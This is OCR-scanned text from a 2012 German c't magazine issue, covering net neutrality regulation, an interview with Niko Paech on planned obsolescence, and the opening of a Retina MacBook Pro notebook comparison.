d ieser Ste l le  aus  und verweist wieder e inma l  
auf  den Wettbewerb: .. Es g ibt gute Gründe 
für d ie Annahme, dass  diese Art der Differen­
zierung in  den Fä l len, wo auf den Breitband­
zugangs- und I nternetzugangsmärkten 
Wettbewerb herrscht, kei ne erfo lg re iche 
Strateg ie sein wird", insbesondere, wenn d ie  
Märkte transpa rent seien. Nu r  fa l l s  s i ch  d iese 
Praxis genere l l  d u rchsetzen sol lte, .. was bis­
her nicht der Fal l  ist", hätte dies Auswirkun­
gen auf d ie Endnutzer und d ie Anbieter in­
novativer P2P-Anwendungen und gäbe 
dann .. An lass zu erhebl ichen Beden ken". 
Welche Konsequenzen d ie .. erhebl ichen Be­
denken" hätten, b le ibt dabei offen.  

Scha lmei für Schnäppchenjäger 

Neel ie Kroes indes s ieht s ich du rch den Be­
richt bestätigt und hat sich bereits festgelegt: 
., Ich habe nicht vor, jeden einzelnen Setre iber 
zu zwingen, das Internet vol l ständig anzubie­
ten", kommentierte sie die GEREK-Vorlage. 
Die Konsumenten hätten ja d ie Wah l  und 
könnten mit den Füßen abstimmen.  D ie  
Marktordnung selbst steht a l lerd ings n icht zur  
Abstimmung.  E ine präventive Regu l ierung 
lehnt die Kommissarin jedenfa l l s  ab . .. Wir wol­
len keine Hindernisse für Unternehmen schaf­
fen, die fü r Socia l  Networks, Mus ik, Smart 
Grids, e-Health, oder was auch immer, maßge­
schneiderte Verbindungsdienste oder Diens­
tebündel anbieten", erklärt Kroes . .. Wenn Kon­
sumenten auf Rabatte aus s ind, warum ihnen 
im Wege stehen?", !Chlussfolgert die frühere 
EU-Wettbewerbskommissar in.  

Doch woh in  gehen, wenn  maxdome nu r  
über Provider A ,  Lovefi l m  nu r  bei Provider B, 
und bei beiden P2P-Anwendungen gar n icht 
nutzbar s ind? Unterm Strich wird es woh l  teu­
rer. Wer mit der künstl ich verknappten Kon-

(a) 
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Anwendungen 

IP-Paketierung 

Transportschicht 

Inhalte 

Internet 

NNI  

NNI  

Inhalte 

nektivität n icht zu recht kom mt, wei l er i n  
d e m  Bündelangebot seines Providers d i e  fa­
vor is ierten Anwendungs- und lnha ltean bie­
ter nicht wiederfindet, wi rd sich für d ie vor­
enthaltenen Sites e inen zweiten I nternetan­
sch l uss zulegen müssen; vie l le icht auch einen 
d ritten, u m  sich dem . .  vol l ständigen I nternet" 
anzunähern .  Du rch d ieses .. M u lt i-Homing", 
wie es Fach leute nennen, gerät das gesamte 
System auf eine schiefe Ebene. Letzt l ich muss 
der Endnutzer d ie gewohnte Vielfa lt  wieder 
herstel len, d ie  i hm die Geschäftsmodel le  der 
Zugangsnetzbetreiber e inschränken.  

Zu kurz gesprungen 

Dem Mu lti-Homing l iegt d ie Vorste l l ung zu­
g ru nde, dass d ie  Any-to-Any-Konnektivität 
n icht mehr von jedem einzelnen, sondern nu r  
noch du rch d ie Gesamtheit de r  Zugangspro­
vider gewah rt werden muss, wo sie sich durch 
die u ns ichtbare Hand des Marktes wie von 
selbst wieder einstellt. Doch warum aufgeben, 
was man schon hat? Die Antwort b le ibt 
GEREK schu ld ig .  Stattdessen k l ingt d ie Auf­
forderung, .. nationale Regu l ierungsbehörden 
müssen d iese Märkte besser verstehen", wie 
eine Kapitu lationserklärung.  Behörden kön­
nen offenbar n icht über den Schatten derer 
springen, denen sie zuarbeiten müssen: Den 
Sprung . .  out of the box" haben die Regu l ierer 
n icht gewagt; Überlegungen zu a lternativen 
Entwicklu ngen ste l len sie nicht an. Ihr Bericht 
d iskutiert die absehbaren Veränderungen 
streng i n  dem vorgegebenen Rahmen der im 
Dezember 2009 i n  Kraft getretenen TK-Richt­
l i n ien und u nterbreitet der Kommission keine 
Vorschläge zu einer Nove l l ierung. 

Dabei wäre d ie Lösung recht einfach: Auf 
der dem Endkunden zugewandten Seite des 
Marktes, am U N I, brauchte man nu r  .. Best 
Practices" zum fa i ren Management gemein­
sam genutzter Ressou rcen wie DSLAMs oder 
CMTS-Ports festzulegen und deren Einhaltung 
du rch gelegentl iche, unabhängige Aud its zu 
prüfen. Das ist e in Verfahren, das sich von der 
Qual itätssicherung bis zur Umweltverträg l ich­
keit von Produ kten i n  anderen techn ischen 
Bereichen mit verg leichbarer Komplexität be­
wäh rt hat. Und statt auf der anderen Seite des 
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Marktes (am Network-Network-l nterface) d ie 
Strukturen des Kabelfernsehmarktes ins Inter­
net zu d rücken, wäre d ie Grundsatzentschei­
dung zugunsten der Telekommunikation fä l­
lig, sodass die u n iversa le Konnektivität unge­
achtet der I nha lte und Anwendungen das 
oberste Gebot ble ibt. Die Content- und Ser­
vice-Märkte können sich weiterh in  unabhän­
g ig entwicke ln ,  wenn s ich jeder l nternetzu­
gangsnetzbetreiber auf seine Rolle als Spedi­
teur beschränkt und die vertika le Integration 
von Netzbetr ieb mit I nha lten und Anwen­
dungsangeboten ausgeschlossen bl iebe. 

Noch wäre Zeit: Solange sich die Struktu­
ren n icht verfestigt haben, i st d ie Angelegen­
heit entscheidbar. Nach den Festste l l ungen 
der GEREK-Stud ie g ibt es bisher keine Diffe­
renzierung des I P-Verkehrs in den Austausch­
punkten der Netzzusam menschaltung, son­
dern led ig l ich a m  UN I .  Somit hätte Brüssel die 
Chance, e ine Marktordnung mit fa i r·en Wett­
bewerbsverhältn issen vorzugeben, bevor der 
. . Kerosi n steuer-Effekt" ei ntritt und am N N I  
E inspeisemärkte w i e  im Kabelfernsehen ent­
stehen, d ie aufgrund vertrag l icher Verflech­
tungen praktisch n icht mehr aufzu lösen s ind.  
Die Chancen s ind sogar  günstig, wei l  k lare 
Ansagen aus  Europa das derzeit in den USA 
herrschende pol it ische Patt in Fragen der 
Netzneutral ität zugunsten e ines neutra len 
l nterconnection-Model ls  aufheben könnten. 

Stattdessen bohrt sich die Brüsseler Kom­
miss ion scheinbar  unaufha ltsam i n  d ie von 
den Lobbys vorgeze ichnete Richtung vorqn. 
Ende des Jah res wi l l  s ie i h re Empfeh lung zur  
Netzneutral ität verabschieden.  S ie muss n u r  
n o c h  das  Problem lösen,  w i e  s i e  d e n  Bü r­
gern e ine Pol i t ik  p laus ibe l  macht, d ie  genau 
das  Gegente i l  zum Zie l  hat.  Der GEREK-Re­
port kan n  noch b is  zum 3 1 .  Ju l i  kommentiert 
werden .  (pmz) 
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Ursprünglich routete das 
Internet I P-Pakete neutral 
gegenüber Anwendungen 
und Inhalten durchs Netz 
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Report I Geplante Obsoleszenz 

Dr. Hans-Arth ur  Marsiske 

Verstecktes Verfa l lsdatum 
Wi rkpri nzi pien der gepla nten Obsoleszenz 

Die wi l lkü rl iche Lebensdauer­
begrenzung von Produ kten ist keine 
neue Idee, war aber noch nie so 
verführerisch wie fü r Herstel ler von 
Digitalgeräten. Eine Absicht ist zumeist 
nur  schwer nachzuweisen - dennoch 
sind Verbraucher nicht völ l ig  h i lflos. 

E s ist e in Pa radoxon:  F indet man beispiels­
weise i n  Ma rokko noch auf  jedem Wo­

chenmarkt m indestens  e inen Kesselfl i cker, 
der Beschäd igu ngen a n  Kochtöpfen repa­
riert, die häufig über Generationen h inweg in 
Gebrauch sind, erha lten Bü rger  i n  Eu ropa 
auch schon mal staat l iche An reize in Höhe 
von mehreren Tausend Euro, wenn s ie ä ltere 
(abet noch vol l kommen •intakte) Fahrzeuge 
versch rotten lassen und über ansch l ießende 
Auto-Neu kä ufe d ie  Ökonomie a n ku rbel n .  
E i ne  auf  Konsum und Gewinnstreben ausge­
richtete Wi rtschaftsordn u ng kennt aber auch 
subti lere Mitte l ,  u m  P rod u kt ionskre i s lä ufe 
aufrechtzuerha lten - etwa, indem Waren so 
gefertigt werden, dass s ie aufg rund von vor­
sätzl ich i nteg rierten Schwachste l len n u r  e ine 
bestimmte Zeit  ha lten und Reparaturen mit  
e inem u nverhä l tn i smäß ig g roßen Aufwand 
verbunden s ind .  

Bekannt i st  d ie  Strateg ie der  künst l ichen 
Vera lterung von Produ kten (die sogenannte 
.,geplante Obsoleszenz", die s ich in zah l re i­
chen Facetten man ifestieren kann ,  wie das  
nachfolgende I nterview zeigt) schon meh re­
re Jah rzeh nte. A l s  i h r  E rfinder  g i lt Alfred 
P. S loan, der als Präs ident von General  Mo­
tors i n  den 20er-J a h ren des vergangenen 
Jahrhunderts j äh rl i che Verä nderungen be i  
Automobi len e infü h rte. Auf d iese Weise sol l ­
ten Kunden zum Kauf neuer  Model le an i ­
miert werden, auch wenn  i h re a lten Fahrzeu­
ge noch gut fu n kt ion ierten.  Der P l an  g i ng  
auf: Rasch war der Konku rrent Ford, der m i t  
sei nem robusten und  preiswerten Model T 
überhaupt erst den Massenmarkt fü r Autos 
geschaffen hatte, a bgehängt. Im Jah r  1 94 1  
konnte S loan zufr ieden festste l len, d a s s  d i e  
äußere Erschei nung d e s  Fah rzeugs zum viel­
leicht entscheidenden Verkaufsfaktor gewor­
den war - .,wei l  ohneh in  jeder weiß, dass das 
Auto fäh rt". 

Bei den Automobi len g i ng  es zunächst 
noch um sichtbare Veränderungen,  d ie  ä lte­
re Model le obsolet machen sol lten. Zugle ich 
entwickelte s ich aber  a uch e ine tückischere 
Form der geplanten Obsoleszenz, d ie  den 
Kunden verborgen b l ieb. So verstä nd igten 
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sich im Jahr 1 924 i nternationa l  füh rende Her­
ste l ler  von G l ühb i rnen darauf, d ie  Lebens­
dauer i h rer  Produ kte auf 1 000 Stu nden zu 
begrenzen. Für  F i rmen, d ie s ich n icht an  die 
Absprache h ie lten, wurden Geldstrafen fest­
gelegt. {\nfang der 1 940er-Jahre flog das Ka r-

te l l  auf, d ie  künst l iche Begrenzung der Le­
bensdauer von G lühbi rnen wurde verboten .  
D iese bra n nten aber  auch  ansch l ießend 
n icht mehr länger a l s  1 000 Stu nden.  

D ig ita lgeräte b ieten den U msetzern von 
gep lanter Obsoleszenz heute ganz neue 

Mög l ichkeiten - denn n i rgendwo lassen s ich 
vorsätz l ich i nteg rierte Lebenszeitbeg renzer 
so leicht verstecken wie i n  Geräten, die pro­
grammiert werden m üssen. E in  k lass isches 
Beispie l  i st der Ti ntenstrah ld rucker eines ja­
panischen Herste l le rs, bei dem e in verborge-

Globale Nachbarschaftshi lfe als Antithese gegen das Produktdesig n  der Vergängl ichkeit 

Professor N i ko Paech über geplante 
Obsoleszenz und die Gegen bewegung 
der Prosumenten 

c't: Herr Paech, Ihr Drucker, Ihr MP3-Piayer 
oder Ihr Fahrradscheinwerfer stellen unerwar­
tet den Betrieb ein, einen Tag nachdem die 
Garantie abgelaufen ist. Was denken Sie? 

Paech: Ganz schön m iese Qua l ität, denke 
ich erst e inmal .  Meine Stud ierenden weise 
ich immer wieder darauf h i n, dass Zuverläs­
s igkeit und Dauerhaft igkeit die Grundvor­
aussetzungen fü r Produktqua l ität s ind .  Das 
l iegt h ier offensicht l ich n icht vor. Als Nächs­
tes würde ich mich fragen,  ob es s ich bei 
dem Versagen der Geräte u m  geplante Ob­
soleszenz, also eine gezielte Begrenzu ng 
der Lebensdauer, hande lt. D ie von  I h nen 
genannten Geräte s ind dafü r  ja berühmte 
Beispiele. 

c't: Cosima Dannoritzers Film .,Kaufen für die 
Müllhalde", ausgestrahlt auf Arte, hat den Be­
griff gerade wieder etwas bekannter gemacht. 
Aber das Konzept, Produkte mit einem Ver­
fallsdatum auszustatten. ist keineswegs neu. 

g renzen. in dem von Dannoritzer gesch i l ­
derten Fa l l  war das e in  Ch ip, der d ie  Druck­
vorgänge zä h lte und  bei Erreichen e iner  
vorgegebenen Zah l  das System blockierte. 
Es wäre zu e i nfach,  das n u r  a l s  böse Ver­
schwöru ng zu deuten. Die Entwickl ung  
wird auch  von den Konsumenten und  i h rer 
Nachfrage nach neuen P�odu kten vorange­
tr ieben. 

c't: Die Wirtschaftspolitik wird sich da kaum in 
den Weg stellen, oder? 

Paech: Der Ökonom John Maynard Keynes 
hat Empfeh l u ngen zur Ü berwi ndung  von 
Wirtschaftskrisen formu l ie rt, d ie  im Extrem­
fa l l  da rauf h i naus laufen, Dinge zu produzie­
ren, d ie  wi r  i m  nächsten Moment verbud­
de ln  - nur u m  Nachfrage zu erzeugen und 
I nvestit ionen anzuregen, d ie wiederum zur 
Erhöh ung  des Brutto in l andsprodu kts fü h­
ren. Die Bundesreg ierung hat nach der Leh­
man-Brothers-Krise mit der Abwrackprämie 
genau so e ine  keynes i an i sche Po l i t ik  ver­
fo lgt. Das Produzieren für die Mü l l ha lde ist 
a l so ein d u rchaus  a ngesehenes und von 
vielen Wirtschaftswissenschaftlern empfoh­
lenes Konzept. 

"Die Digitalisierung ist die größte ökologische Katastrophe 
im Konsumgüterbereich." 

Paech: Nein ,  das  Problem der Ma rktsätt i­
gung hat U nternehmen schon zu Beg i n n  
d e s  20. Jahrhu nderts n a c h  neu�n Wegen 
zur Steigerung des Absatzes suchen lassen. 
Als s ich d ie Zah l  der Kunden n icht mehr  er­
höhen l ieß, m usste man s ie dazu br ingen,  
häufiger zu ka ufen .  Spätestens seit den 
1 920er Jah ren wi rd d iese Ste igerung des  
.,Consumer Lifetime Va lue", w ie  es im Mar­
keting heißt, auch du rch geplante Obsoles­
zenz betrieben. 

c't: Ist es nicht ein Betrug an den Kunden, 
ihnen bewusst schlechte Ware zu verkaufen? 

Paech: Man kann i n  geplanter Obsoleszenz 
du rchaus auch ein Zeichen von Fortsch ritt 
sehen: Die N utzer werden schne l le r  in d ie  
Lage versetzt, auf i nnovativere Vers ionen 
der Produkte zu wechse ln .  E in  Tintenstrah l ­
drucker a ltert schnel l ,  schon nach zwei, d re i  
Jahren g ibt es wesentl ich bessere Model le.  
Da hat es e ine gewisse Log i k, d ie  Lebens­
dauer von .vornherein entsprechend zu be-
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c't: Ist das Prinzip der geplanten Obsoleszenz 
demnach in der Logik unseres Wirtschaftssys­
tems und damit auch in unseren Köpfen be­
reits tief verankert? 

Paech: Es entspr icht n icht n u r  der  wi rt­
schaftspol i t i schen Maxime, sondern der  
Log i k  e iner  best immten Konsumku ltu r. 
Beim Konsum in e iner Überfl ussgese l l schaft 
geht es ja  schon lange n icht mehr  darum, 
Knappheit zu beseit igen oder Grundbedü rf­
n i sse zu befried igen.  Vie lmehr  s ind  sozia l ­
psychologische Motive und I ntentionen im 
Spie l ,  d ie  man i n  d re i  Kategorien e intei len 
kann .  Da g i bt es erstens  natür l ich i m mer  
noch das k lass ische Motiv, e inen materiel­
len Mangel zu beseit igen.  Jeder Kaufa kt i st 
aber  zweitens immer auch e in  Kommun ika­
tionsakt, der etwas über den Käufer  m ittei lt: 
Sag m i r, welches Auto du fäh rst, und  ich 
sage d i r, wer d u  bist. i n  der modernen Kon­
sumgese l l schaft, in der die Menschen a uch 
metaphysisch obdachlos geworden s ind,  i st 
der Konsum praktisch d ie einzige Mögl ich-

keit, Authentizität, soz ia le  Zugehör igkeit 
und ku l ture l len Ansch luss  zu er langen.  
Dann g ibt es noch d ie d ritte Motivkatego­
rie, die auf den Ku l tursozio logen Gerhard 
Schu lze zu rückgeht und  den Er lebniserfolg, 
die emotiona le  Ste igerung i n  den M itte l­
punkt ste l lt. Das ist d ie  introvert ierte Kon­
sumfun ktion, geprägt von Neugierde, Spiel­
tr ieb und einem Gefü h l  der  F re i heit .  Des­
wegen sind Autos i m  l n nern wie Cockpits 
gesta ltet, d ie  a n  Raumschiff Enterprise erin­
nern. Aus d ieser Perspektive ist es k lar, dass 
es h i n re ichend v ie le Konsu mereign i sse 
geben muss, um d iese emotiona le Ste ige­
rung permanent zu ermög l ichen.  Da ei l t  d ie  
gep la nte Obsoleszenz dem Konsumenten 
rege l recht zu H i lfe. 

c't: Sie überraschen mich. Mit so einem Plä­
doyer für geplante Obsoleszenz habe ich ni.cht 
gerechnet. 

Paech: Das ist kei n  P lädoyer, sondern erst 
e i nma l  n u r  e ine  nüchterne Beobachtung .  
A l s  Nachha lt igkeitsforscher  ka n n  ich  das  
natür l ich n icht rechtfert igen, sondern sehe 
darin d ie  g rößte Pervers ion des Wirtschaf­
tens. S ie fi ndet i h ren Rückhalt  auf der An­
gebotsseite i m  Bedü rfn is  nach Markterwei­
teru ng, a uf der pol it ischen Seite im  Keynes­
i an i smus  und a uf der Nachfrageseite in  der 
Sel bstda rste l l ung  d u rch materie l le  F re ihei­
ten. 

c't: Angesichts eines solch fatalen Zusammen­
spiels der verschiedenen Akteure am Markt 
hat es wahrscheinlich wenig Sinn, bestimmte 
Übeltäter identifizieren zu wollen? 

Paech: Die U nternehmen s ind ganz k lar  d ie  
Impu lsgeber fü r geplante Obsoleszenz. A ls  
Konsu ment habe ich  a ber  d u rchaus  d ie 
Wah l ,  mich fü r l ang leb ige P rod ukte zu ent­
sche iden,  jedenfa l l s  soweit es den ., ku ltu­
re l l en  Versch le iß" betrifft, wie bei  Mode 
und Desig n .  Bei der  physischen Obsoles­
zenz, die n icht so offen zutage tr itt, ist das 
natü r l ich schwier iger. Hier steht zum einen 
der  pol i t i sche Akteur  i n  der  Pfl icht, mit  har­
ten Gesetzen gegen so lche P rakt iken vor­
zugehen.  Aber auch a uf der Nachfrageseite 
g i bt es Mög l i chkeiten, etwa in Gesta lt der  
Repa i r  Revo lut ion oder der  ., 1 -fix-it"-Bewe­
g u ng .  Junge  Leute fi nden s ich da ü bers In ­
ternet zusammen und  machen s ich e inen 
Sport daraus, D inge l ang lebig zu gesta lten. 
Solche Projekte fi nde ich  hoch spa n nend.  
Auch der  Hande l  mit  gebrauchten Gütern 
setzt e in  Gegengewicht, denn der funktio-
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nes Prog ra m m mod u l  d ie  Druckvorgänge 
zäh lt  und nach  Erre ichen des  vorgegebenen 
L im its e inen Stopp-Befeh l  sendet. Wie vie le 
bewusst integrierte Schwachste l len i n  heuti­
gen Digita lgeräten verborgen s ind,  weiß n ie­
mand.  Auf I nternetseiten wie www.m u rks-

Prof. Dr. N iko 
Paech leitet den 
Lehrstuhl  für 
Produktion und 
Umwelt an der 
Universität 
Oldenburg und 
ist Vorsitzender 
der Vereinigung 
für Ökologische 
Ökonomie (VÖÖ) 

n iert m it geplanter Obsoleszenz ü berhau pt 
n icht. H ie r  ist d ie  La ng leb igkeit ja u n be­
d i ngte Vora u ssetzung dafü r, N utzu ngs­
kre is lä ufe zu eröffnen .  Wen n  ich  e i n  P ro­
d u kt nach der N utzu n g  weiterverka ufen 
möchte, muss  ich es vorsichtig behande ln .  
Da lassen s ich auf eBay oder  Amazon Mar­
ketplace ganz herausragende Beispie le fü r 
e ine neue Ku ltur  des Umgangs  mit  Produ k­
ten beobachten. 

c't: in der digitalen Welt bildet sich demnach 
Widerstand gegen ein Konzept, das durch die 
Digitalisierung erst auf die Spitze getrieben 
wurde? 

Paech: Die D ig i ta l i s i e rung i st d i e  g rö ßte 
ökologische Katastrophe im Konsumgüter­
bere ich .  N i rgendwo l ässt s ich geplante Ob­
so leszenz so e i nfach  ins Des ign  i ntegr ie­
ren, wie bei  Geräten, d ie p rog ra m m ie rt 
werden m üssen .  Es hat auch  noch n ie  Ge­
räte gegeben, die so wenig repa rabel  s i nd  
w ie  IT-Endgeräte. Be i  der extrem m i n iatu­
r i s ierten Smart Techno logy g i bt es p ra k­
t i sch ke ine  Cha nce mehr  zu r  Repa rat u r, 

nein-danke.de kön nen zumindest Verdachts­
fä l l e  gemeldet werden .  E ine  Absicht i st i m  
Einzelfa l l  aber schwer nachzuweisen, e i n  ju­
r ist isches Vorgehen gegen gep la nte Obso­
leszenz kommt daher zumeist n icht i n  F rage. 
Taten los müssen d ie N utzer deswegen aber 

weniger Jahre überholt sind. Wir werfen 
Mobiltelefone weg, nicht weil sie nicht mehr 
funktionieren, sondern weil es neue, vermeint­
lich bessere Modelle gibt. 

Paech: Es g i bt natür l ich so etwas wie Stei­
gerungsspie le :  Wen n  der  Bes itz von Smart­
phones quas i  zum Standard geworden i st, 
w i rd es P ion iere geben, die versuchen,  s ich 
m it e inem besonders sch icken Smartpho­
ne von der  Masse abzusetzen .  Dann  g i bt es 
auch  Komp lementa r itäten, etwa neue 
Windows-Vers ionen,  d ie  rege lmäß ig  neue 
H a rdwa re e rfordern .  Ü br igens :  Manche 
L in ux-Distr i but ionen s ind d iesbezü g l i ch  
auch  n icht besser! So kom mt es zu I nterak­
t ionen zwischen para l le len l n novationszy­
k len .  Wen n  i ch  sehe, dass  es e i ne  neue 
Gangscha l tung g ibt, kan n  ich d ie  v ie l le icht 
n icht an mein a ltes Fah rrad mont ieren ,  
muss  mi r  a l so g le ich  e i n  kom p l ett neues 
ka ufen .  Auch so lche Effekte tre iben d ie  
Entwertung  des b i sher  Aus re ichenden 
voran .  

c't: Als ein Mittel gegen geplante Obsoleszenz 
wird gelegentlich der Open-Source-Gedanke 
genannt, zumindest da, wo Software eine 
zentrale Rolle spielt. Was halten Sie davon? 
Deuten sich hier neue Formen des Wirtschaf­
tens an, die stärker von Kooperation als von 
Konkurrenz geprägt sind? 

Paech: Aus ökonomischer Perspektive i st 
Open Sou rce e in  sogenanntes Gemeingut, 
e ine d ig ita le  A l lmende gewissermaßen.  
Man spr icht auch  von Dig ita l  Commons .  
H ier  fi nden s ich g ute Beispie le, wie s ich jen­
se i ts  von Expa ns ions- oder Profitor ient ie­
rungen e ine  a l lgemeine Versorg u n g  ge-

"Ein Prosument, der die Dinge in die Hand nimmt, 
könnte zu einer Identifikationsfigur werden." 

d iese Option i st a bgeschafft. Zudem i s t  IT­
Ha rdware zu e inem sym bol i schen Objekt 
der  Se l bstda rste l l u n g  geworden .  Wen n  
aber d i e  Ästhet ik  i m  Vorderg rund steht, e r­
fo lgt der  ku l tu re l l e  Versch le iß  besonders · 
sch ne l l .  Sch l i eß l i ch  erfo lgen  d ie  techn i ­
s chen  I n novat ionszyklen  m it seh r  hohe r  
F requenz und  entwerten dam it vorhande­
ne Produ ktbestä nde.  

c't: Bei digitalen Technologien haben wir uns 
ja längst daran gewöhnt, dass sie innerhalb 

c't 201 2, Heft 1 5  

währ le ist�n lässt. Es kann  aber auch immer 
das  genaue Gegente i l  dabei herauskom­
men. Wen n  wir  zum Beispiel  darüber nach­
denken, bestimmte Produ ktionsan lagen als 
Gemei ngut  zu organ i s ieren, erhöhen wir 
auch den Zugang dazu. Das kan n  schne l l  zu 
noch mehr Produ ktion und noch mehr Ver­
sch le iß füh ren .  Wenn  Open Sou rce so ver­
sta nden wi rd, dass dezentra les Wissen i n  
d i e  Weiterentwickl ung von Produ kten e in­
fl ießt, kann  das d ie  I n novationszyklen wei­
ter besch leun igen und die a lten P rodu kte 
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n icht b le iben.  Wir  haben mit dem Wi rt­
schaftswissenschaft ler  P rof. Dr. N i ko Paech 
darüber gesprochen, wie geplante Obsoles­
zenz aus  wirtschaftsethischer Sicht zu bewer­
ten i st und wie Konsumenten damit umge­
hen können.  (pmz) 

rascher entwerten .  Wir  müssen a l so sehr 
genau h insehen, was wir  a l s  Gemeingut or­
gan is ieren. Ein Gegenbeispiel  ist die bereits 
erwähnte 1 -fix-it-Bewegung :  Da werden die 
I nformationen, d ie  nötig s ind ,  um Gegen­
stände lang lebig zu machen, als Gemeingut 
organis iert. Ich habe m i r  zum Beispiel e ine 
a lte Effektleiste aus  den 1 980er Jahren ge­
kauft, um den K lang mei nes Saxofons zu 
verfremden.  Die Gebrauchsan le itung,  mit 
deren H i lfe ich e in ige Störungen beseitigen . 
konnte, fand ich a l s  PDF-Datei im I nternet. 
So e inen mu lt imedia len Austausch von In­
formationen kan n  ich mir  gut  a l s  d ig ita le 
A l lmende vorste l l en .  Daraus  könnte e ine 
Kultur des Erha lts a l s  Gegenbewegung zur 
gep lanten Obsoleszenz erwachsen.  Aber 
Open Sou rce a l le in für s ich ist noch kein  Al l ­
he i lm ittel .  

c't: Das klingt ein wenig nach globaler Nach­
barschaftshilfe, organisiert übers Internet. 

Paech: I ch  prog nost iz iere e ine  Entwick­
l ung,  d ie  getr ieben wi rd von den Energ ie­
pre isen und  den  nächsten F i nanzkri sen.  
Das w i rd ü ber Tei lzusammenbrüche unse­
res ökonomischen Systems dazu fü h ren, 
dass die Kaufkraft der  Menschen s i nkt. 
Dam it ste igt die Motivation,  d ie Rol le  des 
Konsu menten zu verlassen und die e ines 
P rosu menten e inzunehmen ,  i n  dem s ich 
d ie  E igenschaften e ines P rod uzenten und 
Konsu menten verei nen .  Wei l  e r  ga r  n icht 
das  Geld hat, ständ ig  Geräte auszurang ie­
ren und sich neue zu kaufen, bemüht sich 
der Prosument, sein Th i n kpad 1 0  oder 1 5  
J a h re a m  Laufen zu ha l ten .  Dafü r wird er 
s ich mit anderen zusammentun und Dig i ­
ta l  Commons n utzen, etwa u m  d ie  nötige 
Software fü r so ein a ltes Gerät zu beschaf­
fen .  E i n  P rosument, der  d i e  D inge in d ie  
Hand n i m mt, kön nte zu e iner  Identifikati­
onsfi g u r  werden .  Gegenseit ige H i lfe wird 
zur  ge lebten Antithese gegen das Produkt­
des ign der  Vergäng l i chkeit. Jeder kann  so­
fort damit anfangen .  Wenn Sie m i r  he lfen, 
me inen Computer wieder zum Laufen zu 
kr iegen, kan n  .ich I h nen v ie l le icht das Tret­
lager  vom Fah rrad wechse ln  oder das H in­
terrad r ichten. Wen n  d ie  Kaufkraft schwi n­
det, werden wir in e iner  so l ida r ischen Öko­
nomie gar  n icht a nders kön nen, a l s  uns  ge­
gense it ig zu he lfen .  P rosumenten s ind 
n icht  nur  ökonomisch souverä n, sondern 
tragen dazu bei, d ie. Ökonomie wieder so­
z ia l  e inzu betten .  

(Dr. Hans-Arthu r  Mars i ske/pmz) 
ct 
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Wow - das i st d ie  Reakt ion,  wen n  man 
das erste Mal  Fotos auf dem B i ldsch i rm 

des "MacBook P ro m it Ret ina-Disp lay", so 
Apples offizie l le  Namensgebung,  s ieht. K lar, 
hocha uflösende B i ldsch i rme kennt man in ­
zwischen von Smartphones oder  Tab lets, 
doch auf der B i ldfläche eines 1 5-Zo i i -Note­
books wi rken die feinen Pixel noch mal an­
ders: Zusammen mit der  spiege lnden Ober­
fläche entsteht der E ind ruck, e ine bed ruckte 
Fol ie zu sehen. 

Auch abseits seines Bi ldschirms setzt App­
les Neu l ing Maßstäbe: Das Gehäuse hat die 
Dicke eines U ltrabooks, beherbergt leis­
tungssta rke Core-i 7-Vierkernprozessoren 
plus einen M itte lk lasse-Grafi kch ip  - und  
schafft l ange  Laufzeiten .  E in  Windows-Note­
book mit a l l  d iesen E igenschaften g i bt es 
n icht, woh l  aber e in ige, die in jewei l s  mehre­
ren Aspekten m itha lten können .  Wir haben 
d rei solche 1 5-Zö l le r  dem MacBock gegen­
übergeste l lt : Del is  ä h n l i ch  flaches und le is­
tungsstarkes XPS 1 5, Lenovos d icker A l les­
könner Th inkPad T520 und Samsungs noch 
flacheres und le ichteres 900X4C. 

Bi ldschirm 

2880 x 1 800 P ixe l  bei 1 5,4 Zo l l  D iagona le  
entsprechen e iner Punktauflösung von 221  
dpi  (dots per  inch) .  So feine Pixel gab es bis­
lang nur e inma l  bei Notebooks: Sonys Va io P 
war e in  8-Zoi i-Wi nzl i ng  mit  schwachbrüst i­
ger Atom-CPU und einem u ngewöhn l ichen 
Seitenverhä l tn is  von etwa . 2 : 1  ( 1 600 x 768 
Punkte) [ 1 ] .  D ie hohe B i ldsch i rmauflösung  
stel lt Betriebssystem und Anwendungen a l ­
lerd ings  vor  Hera u sforderungen .  Wie s ich 
Mac OS X,  Windows 7 und gängige Anwen­
d ungen bei extrem hochauflösenden B i ld ­
schi rmen schlagen, beleuchtet der Artikel ab  
Seite 84. 

Genere l l  s i nd  bei Notebocks .deut l i ch  
g röbere Auflösungen  Sta nda rd .  So gab  es 
zwa r ma l  e i n  opt iona les  2048x 1 536-Pa ne l  
fü r IBMs 4:3-Notebook Th i n kPad R50p, doch 
i n  den vergangenen J a h ren hatte kei nes 
mehr als Fu i i -HD-Auflösung .  Bei 1 7-Zo i i -Dia­
gonale entspr icht das  1 27 d pi ,  bei  1 5-Zöl­
lern 1 4 1 dp i  und  bei 1 3-Zö l lern 1 68 dp i  [2] . 
l n  Kü rze w i rd man  d iese B i l d sch i rmauf­
lösung auch bei 1 1  ,6-Zö l lern vorfinden [3] .  
Acers Aspi re 57 und Asus'  Zen bock UX2 1 A  
stoßen dann  mit  1 90 dp i  a nsatzweise i n  Re­
gionen vor, die das Retina-MacBock vorg i bt. 
Wä h rend d ie  Windews-Ma n n schaft 1 6:9-
B i ldsch i rme hat, setzt Apple beim MacBock 
Pro weiterh i n  a uf 1 6 : 1  0-Pa ne l s  m i t  zeh n  
P rozent m e h r  B i l dhöhe  - d a s  merkt m a n  
beim Arbeiten enorm. 

Lenovo und  Samsung bieten matte B i ld­
schi rme an ,  Apple baut h i ngegen e in  Spie­
geld isp lay e in :  Matt g ibt es a l s  kostenpfl ich­
tige Option nur beim weiterh i n  erhä lt l ichen 
MacBock Pro ohne Ret ina-Bi ldsch i rm (s iehe 
Seite 88) ,  auch Del i  b ietet keine Alternative. 
Immerh in :  Apples Panel spiegelt s ichtba r we­
n iger als andere G la re-Disp lays, ohne  dass 
d ie  Reflex ionen dabei e inen L i la-Stich be-

Bi ldschirmen in Sony-Notebooks der Fa l l  i st. 
Zusammen mit der ausreichend hohen ma­
x imalen He l l igkeit von rund 240 cd/m2 kann  
man i n  I n nenräumen sogar  i n  e i nem weißen 
T-Sh i rt am Gerät a rbeiten - i m  Zug oder 
d ra u ßen i m  Cafe stören d ie  Spiege lb i lder  
trotzdem. 

Grundsätzl ich könnte man den B i ldsch i rm 
m it e iner  Entspiege l ungsfo l i e  nachträg l i ch  
matt machen, doch  se lbst be i  perfekt aufge­
brachter Fo l ie  ohne Sta u be insch l üsse und  
Luftb läschen muss man mit  e i ne r  reduzier­
ten B i l dqua l ität leben:  Du rch I nterferenzen 
zwischen der P ixe lstru ktu r  des Pane l s  und  
